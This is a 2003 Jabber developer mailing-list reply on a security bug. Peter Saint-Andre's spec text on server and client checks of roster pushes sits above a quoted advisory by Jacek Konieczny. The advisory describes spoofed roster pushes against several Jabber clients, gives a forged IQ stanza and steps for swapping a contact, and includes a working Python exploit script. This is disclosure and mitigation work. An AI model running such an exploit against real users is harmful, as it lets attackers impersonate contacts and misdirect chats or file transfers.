[JDEV] [SECURITY] Remote roster manipulation bug in various Jabber clients
Peter Saint-Andre
stpeter at jabber.org
Thu Jul 3 11:27:22 CDT 2003
This is a server bug. With what server did you test this? AFAIK, both
jabberd 1.4.* and the Jabber Inc. server do the right thing here.
The correct behavior is as follows (I have added this text to my working
copy of draft-ietf-xmpp-im):
A server MUST ignore any 'to' address on a roster "set", and
MUST treat any roster "set" as applying to the sender. For added
safety, a client SHOULD check the "from" address of a roster "push"
to ensure that it is from a trusted source; specifically, the stanza
should have no 'from' attribute (i.e., implicitly from the server)
or the JID contained in the 'from' attribute should match the user's
bare JID or full JID; otherwise, the client SHOULD ignore the roster
"push".
Peter
On Wed, Jul 02, 2003 at 10:05:11PM +0200, Jacek Konieczny wrote:
> DESCRIPTION
>
> From http://www.jabber.org/ :
>
> Jabber is an open XML protocol for the real-time exchange of messages
> and presence between any two points on the Internet. The first
> application of Jabber technology is an asynchronous, extensible instant
> messaging platform, and an IM network that offers functionality similar
> to legacy IM systems such as AIM, ICQ, MSN, and Yahoo. However, Jabber
> offers several advantages over legacy IM systems.
>
> RFC documents describing Jabber protocol (know as XMPP now) are being
> prepared.
>
> I have found a bug in most Jabber clients which allows to remotely
> modify roster (list of contacts) displayed by the client. This can be
> done by anyone who is able to establish his own Jabber server and allows
> to forge contacts seen by the user. The actual roster stored on server
> may not be modified directly using this bug.
>
> I was thinking about informing authors first, but I would not be able to
> test all Jabber clients and reach authors of all vulnerable clients. So
> only some of them would be in privileged position.
>
> DETAILS
>
> 1. Background
>
> Roster is contact list stored on Jabber server. It is usually retrieved
> by clients on login, managed by client, but always synchronized with
> server. Roster contains following information:
>
> - JID (jabber id) of contact - unique for each item
> - contact name (nickname)
> - list of groups (may be empty)
> - presence subscriptions (information if contact can see user's presence
> and if user can see contact's presence)
> - subscription state (if presence subscription/unsubscription is pending)
>
> Multiple clients may be logged to the same Jabber account at once and
> their rosters are synchronized. Roster may also be changed due to
> presence subscription changes, which are managed by server. All roster
> changes in clients are sent to server, and all changes in server are
> sent to all connected clients. These "roster pushes" are sent as "IQ"
> request with "jabber:iq:roster" namespace.
>
> Such update request sent by server looks like this:
> <iq type='set'>
> <query xmlns='jabber:iq:roster'>
> <item jid='jajcus at jabber.bnet.pl'
> name='Jajcus'
> subscription='both'>
> <group>Jabber Hackers</group>
> </item>
> </query>
> </iq>
>
> According to XMPP specs the <iq/> stanza could contain "from" and "to"
> attributes which should contain full JID of the session then.
>
> If the "subscription" attribute is set to "remove" then given item is
> to be removed.
>
> 2. Vulnerability
>
> Many Jabber clients don't check "from" attribute of the roster push.
> Such <iq/> stanza may be sent by anyone and will be routed to the client
> session it was addressed to. Such stanza is processed by vulnerable
> client as it was generated by server.
>
> By sending following stanza (directed to victim's full JID):
>
> <iq type='set' to='victim at jabber.server/resource'>
> <query xmlns='jabber:iq:roster'>
> <item jid='jajcus at jabber.bnet.pl'
> name='Jajcus'
> subscription='both'>
> <group>Jabber Hackers</group>
> </item>
> </query>
> </iq>
>
> One would be able to add me to roster in victims client.
>
> 3. Impact
>
> The attack cannot be done from Jabber client connection to jabberd 1.4.x
> server because of similar bug (or feature) in this server - it doesn't
> check "to" attribute and all such <iq/>s treats as directed to the
> server. Attacker roster stored on server is modified instead of victims
> ones.
>
> For attack to succeed one must know not only user's bare JID, but also
> name of a connected resource. Presence from the user is needed to get
> such information, but usually it may be guessed - it would usually be
> client name ("Psi","tkabber", etc.) or location ("Home","Work",etc.).
>
> By using this vulnerability and modifying someone's roster one may make
> him start chat or send file to a person user doesn't intend contact
> with. This would require send one <iq/> to remove original entry, second
> one to add new entry with the same name and usually <presence/> to show
> the contact available. The new JID will usually be visible in chat
> window or in roster item details, but users usually care about contact
> name only.
>
> This method changes roster copy in client only and doesn't change
> original roster on server. But if victim changes the forged entry
> (eg. to fix a typo) it will be sent to his server. However subscription
> information cannot be changed this way.
>
> 4. Vulnerable software
>
> I have tested:
>
> - Gabber 0.8.8
> - tkabber 0.9.4beta
> - Psi 0.8.7
> - Psi 0.9
>
> And I found all of them vulnerable.
>
> 5. Proposed fix
>
> In clients before handling roster pushes check "from" attribute and drop
> the request if "from" is set and is not session's full JID.
>
> 6. Possible workaround
>
> On server drop all <iq/> stanzas from "outside" containing
> "jabber:iq:roster" namespace. However, this breaks normal XMPP stanza
> routing rules.
>
> 7. Exploit
>
> In attachment.
>
> 8. Thanks
>
> Thanks to kalma, bluszcz and tristan for allowing me to hack their
> clients and to mmazur for the help with the advisory :)
>
> Greets,
> Jacek Konieczny
> #!/usr/bin/python
> #
> # exploit for "remote roster manipulation" bug of various Jabber clients
> # (c) 2003 Jacek Konieczny <jajcus at bnet.pl>
> #
> # Requires: http://jabberpy.sourceforge.net/
> #
> # This exploit is an external component to jabber server which adds
> # new item to victims roster (client local copy only)
> #
> # To link the exploit with your jabberd following fragment to your jabber.xml
> # and restart jabberd.
> # source.domain must be valid DNS hostname and point to your jabberd
> #
> # <service id="bug">
> # <host>source.domain</host>
> # <accept>
> # <ip>127.0.0.1</ip>
> # <secret>secret</secret>
> # <port>6969</port>
> # </accept>
> # </service>
> #
> # Usage:
> # ./exploit.py target-full-jid
> #
> # eg.:
> # ./exploit.py someone at jabber.nowhere/Home
>
>
> import jabber
> import xmlstream
> import sys
>
> def iq_handler(con,iq):
> print "Got IQ:",str(iq.asNode())
>
> me="source.domain"
>
> con = jabber.Component(host='127.0.0.1', debug=0, port=6969, log='log')
> con.connect()
> con.process(1)
> con.auth('secret')
> con.setIqHandler(iq_handler)
>
> try:
> iq=jabber.Iq(to=sys.argv[1],type="set")
> iq.setFrom(me)
> query=iq.setQuery('jabber:iq:roster')
> group=xmlstream.Node("group")
> group.putData("Bugs")
> item=xmlstream.Node("item")
> item.putAttr("jid","bug at bug.nowhere")
> item.putAttr("name","BUG! BUG! BUG!")
> item.putAttr("subscription","none")
> item.insertNode(group)
> query.insertNode(item)
> con.send(iq)
> while(1):
> con.process(10)
> except KeyboardInterrupt:
> con.disconnect()
--
Peter Saint-Andre
Jabber Software Foundation
http://www.jabber.org/people/stpeter.php
More information about the JDev
mailing list